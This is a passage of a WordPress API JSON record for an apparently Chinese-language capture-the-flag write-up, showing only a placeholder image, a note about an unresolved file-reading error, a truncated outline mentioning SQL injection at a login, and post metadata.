src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-759\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6b64\u65f6\u51fa\u73b0\u8bef\u5dee\uff0c\u62a5\u9519\uff1a\u6587\u4ef6\u5185\u5bb9\u592a\u77ed\uff0c\u65e0\u6cd5\u8bfb\u53d6\u3002<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u6682\u65f6\u8fd8\u672a\u627e\u51fa\u539f\u56e0\uff0c\u540e\u7eed\u5c06\u518d\u6b21\u5c1d\u8bd5<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 \u6838\u5fc3\u8003\u5bdf\u70b9\uff1a \u4e00\u3001\u4fe1\u606f\u6536\u96c6 \u5148\u641c\u96c6\u57fa\u672c\u4fe1\u606f\uff0c\u67e5\u770b\u7f51\u9875 \u53ef\u6c47\u603b\u4e3a\uff1a \u4e8c\u3001\u6f0f\u6d1e\u5229\u7528\u548c\u5206\u6790 SQL\u6ce8\u5165 \u5728\u767b\u5f55 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,15],"tags":[],"class_list":["post-737","post","type-post","status-publish","format-standard","hentry","category-capture-the-flag","category-15"],"_links":{"self":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/737","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=737"}],"version-history":[{"count":3,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/737\/revisions"}],"predecessor-version":[{"id":760,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=\/wp\/v2\/posts\/737\/revisions\/760"}],"wp:attachment":[{"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=737"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=737"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myblog.marsrains.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=737"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}